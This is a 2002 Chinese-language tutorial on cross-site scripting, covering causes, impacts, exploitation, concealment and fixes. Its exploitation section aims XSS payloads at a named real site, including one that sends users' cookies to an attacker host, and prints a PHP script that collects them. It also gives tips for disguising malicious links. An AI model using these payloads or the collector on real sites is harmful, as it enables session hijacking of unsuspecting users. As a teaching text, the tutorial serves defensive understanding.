[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
跨站腳本執行漏洞詳解
本文出自:http://www.nsfocus.com 作者:analysist(analysist@nsfocus.com) (2002-11-22 06:02:00)
【前言】

本文主要介紹跨站腳本執行漏洞的成因,形式,危害,利用方式,隱藏技巧,解決方法和常
見問題(FAQ),由目前介紹跨站腳本執行漏洞的資料還不是很多,而且一般也不是很詳細
,所以希望本文能夠比較詳細的介紹該漏洞。由時間倉促,水平有限,本文可能有不少錯
誤,希望大家不吝賜教。

聲明,請不要利用本文介紹的任何內容,代碼或方法進行破壞,否則一切果自負!

【漏洞成因】
原因很簡單,就是因為CGI程序沒有對用戶提交的變量中的HTML代碼進行過濾或轉換。

【漏洞形式】
    這裡所說的形式,實際上是指CGI輸入的形式,主要分為兩種:
    1.顯示輸入
    2.隱式輸入
    其中顯示輸入明確要求用戶輸入數據,而隱式輸入則本來並不要求用戶輸入數據,但是
用戶卻可以通過輸入數據來進行幹涉。
顯示輸入又可以分為兩種:
1.    輸入完成立刻輸出結果
2.    輸入完成先存儲在文本文件或數據庫中,然再輸出結果
注意:者可能會讓你的網站面目全非!:(
而隱式輸入除了一些正常的情況外,還可以利用服務器或CGI程序處理錯誤信息的方式來實施


【漏洞危害】
    大家最關心的大概就要算這個問題了,下面列舉的可能並不全面,也不系統,但是我想
應該是比較典型的吧。
1.    獲取其他用戶Cookie中的敏感數據
2.    屏蔽頁面特定信息
3.    偽造頁面信息
4.    拒絕服務攻擊
5.    突破外網內網不同安全設置
6.    與其它漏洞結合,修改系統設置,查看系統文件,執行系統命令等
7.    其它
    一般來說,上面的危害還經常伴隨著頁面變形的情況。而所謂跨站腳本執行漏洞,也就
是通過別人的網站達到攻擊的效果,也就是說,這種攻擊能在一定程度上隱藏身份。

【利用方式】
    下面我們將通過具體例子來演示上面的各種危害,這樣應該更能說明問題,而且更易
理解。為了條理更清晰一些,我們將針對每種危害做一個實驗。
    為了做好這些實驗,我們需要一個抓包軟件,我使用的是Iris,當然你可以選擇其它的
軟件,比如NetXray什的。至具體的使用方法,請參考相關幫助或手冊。
    另外,需要明白的一點就是:只要服務器返回用戶提交的信息,就可能存在跨站腳本執
行漏洞。
    好的,一切就緒,我們開始做實驗!:)
    
    實驗一:獲取其他用戶Cookie中的敏感信息
    我們以國內名的同學錄站點5460.net為例來說明一下,請按照下面的步驟進行:
1.    進入首頁http://www.5460.net/
2.    輸入用戶名“<h1>”,提交,發現服務器返回信息中包含了用戶提交的“<h1>”。
3.    分析抓包數據,得到實際請求:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4.    構造一個提交,目標是能夠顯示用戶Cookie信息:
http://www.5460.net/txl/login/login.pl?username=<script>alert(document.cookie)</
script>&passwd=&ok.x=28&ok.y=6
5.    如果上面的請求獲得預期的效果,那我們就可以嘗試下面的請求:
http://www.5460.net/txl/login/login.pl?username=<script>window.open("http://www.
notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.notfound.org/info.php是你能夠控制的某台主機上的一個腳本,功能是獲
取查詢字符串的信息,內容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
    fwrite($fp,$info."\n");
    fclose($fp);
}
header("Location: http://www.5460.net");
注:“%2B”為“+”的URL編碼,並且這裡只能用“%2B”,因為“+”將被作為空格處理。
面的header語句則純粹是為了增加隱蔽性。
6.    如果上面的URL能夠正確運行的話,下一步就是誘使登陸5460.net的用戶訪問該URL,
而我們就可以獲取該用戶Cookie中的敏感信息。
7.    面要做什就由你決定吧!

實驗二:屏蔽頁面特定信息
我們仍然以5460.net作為例子,下面是一個有問題的CGI程序:
http://www.5460.net/txl/liuyan/liuyanSql.pl
該CGI程序接受用戶提供的三個變量,即nId,csId和cName,但是沒有對用戶提交的cName變
量進行任何檢查,而且該CGI程序把cName的值作為輸出頁面的一部分,5460.net的用戶應該
都比較清楚留言右下角有你的名字,對吧?
既然有了上面的種種條件,我們可以不妨作出下面的結論:
某個用戶可以“屏蔽”其兩次留言之間的所有留言!
當然,我們說的“屏蔽”不是“刪除”,用戶的留言還是存在的,只不過由HTML的特性,
我們無法從頁面看到,當然如果你喜歡查看源代碼的話就沒有什用處了,但是出了我們這
些研究CGI安全的人來說,有多少人有事沒事都看HTML源代碼?
由種種原因,我在這裡就不公布具體的細節了,大家知道原理就好了。
注:仔細想想,我們不僅能屏蔽留言,還能匿名留言,Right?

實驗三:偽造頁面信息
如果你理解了上面那個實驗,這個實驗就沒有必要做了,基本原理相同,只是實現起來稍微
麻煩一點而已。

實驗四:拒絕服務攻擊
    現在應該知道,我們在某種程度上可以控制存在跨站腳本執行漏洞的服務器的行為,既
然這樣,我們就可以控制服務器進行某種消耗資源的動作。比如說運行包含死循環或打開無
窮多個窗口的JavaScript腳本等等。這樣訪問該URL的用戶系統就可能因此速度變慢甚至崩潰
。同樣,我們也可能在其中嵌入一些腳本,讓該服務器請求其它服務器上的資源,如果訪問
的資源比較消耗資源,並且訪問人數比較多的話,那被訪問的服務器也可能被拒絕服務,
而它則認為該拒絕服務攻擊是由訪問它的服務器發起的,這樣就可以隱藏身份。

實驗五:突破外網內網不同安全設置
這個應該很好理解吧,一般來說我們的瀏覽器對不同的區域設置了不同的安全級別。舉例來
說,對Internet區域,可能你不允許JavaScript執行,而在Intranet區域,你就允許Java
Script執行。一般來說,前者的安全級別都要高者。這樣,一般情況下別人無法通過執
行惡意JavaScript腳本對你進行攻擊,但是如果與你處相同內網的服務器存在跨站腳本執
行漏洞,那攻擊者就有機可乘了,因為該服務器位Intranet區域。

實驗六:與其它漏洞結合,修改系統設置,查看系統文件,執行系統命令等
    由與瀏覽器相關的漏洞太多了,所以可與跨站腳本執行漏洞一起結合的漏洞也就顯得
不少。我想這些問題大家都應該很清楚吧,前些時間的修改IE標題漏洞,錯誤MIME類型執行
命令漏洞,還有多種多樣的蠕虫,都是很好的例子。
    更多的例子請參考下列鏈接:
    Internet Explorer Pop-Up OBJECT Tag Bug
    http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
    Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerab
ility
    http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
    MSIE6 can read local files
    http://www.xs4all.nl/~jkuperus/bug.htm
    MSIE may download and run progams automatically
    http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
    File extensions spoofable in MSIE download dialog
    http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
    the other IE cookie stealing bug (MS01-055)
    http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
    Microsoft Security Bulletin MS01-055
    http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
    Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
    http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
    Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
    http://www.kriptopolis.com/cua/eml.html
    
    跨站腳本執行漏洞在這裡的角色就是隱藏真正攻擊者的身份。
    
實驗七:其它
    其實這類問題和跨站腳本執行漏洞沒有多大關系,但是在這裡提一下還是很有必要的。
問題的實質還是CGI程序沒有過濾用戶提交的數據,然進行了輸出處理。舉個例子來說,支
持SSI的服務器上的CGI程序輸出了用戶提交的數據,無論該數據是採取何種方式輸入,都可
能導致SSI指令的執行。當然,這是在服務端,而不是客戶端執行。其實像ASP,PHP和Perl等
CGI語言都可能導致這種問題。

【隱藏技巧】
    出時間的考慮,我在這裡將主要講一下理論了,相信不是很難懂,如果實在有問題,
那去找本書看吧。
1.    URL編碼
比較一下:
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.
y=6
你覺得哪個更有隱蔽性?!

2.    隱藏在其它對象之下
與直接給別人一個鏈接相比,你是否決定把該鏈接隱藏在按鈕以下更好些呢?

3.    嵌入頁面中
讓別人訪問一個地址(注意這裡的地址不同上面提到的URL),是不是又要比讓別人按一個
按鈕容易得多,借助Iframe,你可以把這種攻擊變得更隱蔽。

4.    合理利用事件
合理使用事件,在某些情況上可以繞過CGI程序對輸入的限制,比如說前些日子的SecurityF
ocus的跨站腳本執行漏洞。

【注意事項】
    一般情況下直接進行類似<script>alert(document.cookie)</script>之類的攻擊沒有什
問題,但是有時CGI程序對用戶的輸入進行了一些處理,比如說包含在’’或””之內,這
時我們就需要使用一些小技巧來繞過這些限制。
    如果你對HTML語言比較熟悉的話,繞過這些限制應該不成問題。

【解決方法】
    要避免受到跨站腳本執行漏洞的攻擊,需要程序員和用戶兩方面共同努力:
程序員:
1.    過濾或轉換用戶提交數據中的HTML代碼
2.    限制用戶提交數據的長度

用戶:
1.    不要輕易訪問別人給你的鏈接
2.    禁止瀏覽器運行JavaScript和ActiveX代碼

附:常見瀏覽器修改設置的位置為:
Internet Explorer:
工具->Internet選項->安全->Internet->自定義級別
工具->Internet選項->安全->Intranet->自定義級別
Opera:
文件->快速參數->允許使用Java
文件->快速參數->允許使用插件
文件->快速參數->允許使用JavaScript

【常見問題】
Q:跨站腳本執行漏洞在哪裡存在?
A:只要是CGI程序,只要允許用戶輸入,就可能存在跨站腳本執行漏洞。

Q:跨站腳本執行漏洞是不是只能偷別人的Cookie?
A:當然不是!HTML代碼能做的,跨站腳本執行漏洞基本都能做。

【附錄】
下面是一些跨站腳本執行漏洞的例子:
    http://v7.51.net/exploites/exgb.txt
    http://v7.51.net/exploites/ichat2.txt
    http://v7.51.net/exploites/bbs2www.txt
    http://v7.51.net/exploites/5460II.txt
    http://v7.51.net/exploites/sf.txt
    http://v7.51.net/exploites/phpmyadmin.txt

 


  (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
C源碼:Linux的nfsd存在溢出漏洞允許入侵者遠程獲取root (2002-07-08 06:02:00)
Apache HTTP server存在嚴重漏洞危及web安全/蠕虫出現 (2002-07-04 06:02:00)
關一些路由協議的漏洞 (2001-09-10 07:00:00)
一些收集來的經典漏洞 (2001-09-02 13:45:40)
FreeBSD系統中procfs文件系統存在多個安全漏洞 (2001-09-02 09:05:01)
Apache mod_rewrite 模塊的漏洞 (2001-08-26 07:05:00)
redhat7本地利用ping拿root漏洞詳析 (2001-07-04 22:08:00)
漏洞 rpc.sadmind 的利用 (2001-06-28 12:10:00)
Solaris IN.FTPD CWD 用戶名猜測漏洞 (2001-06-01 10:08:00)
Solaris 2.6 IN.FTPD CWD 用戶名猜測漏洞 (2001-06-01 09:04:00)

===更多相關===
 

★  樊強制作 歡迎分享  ★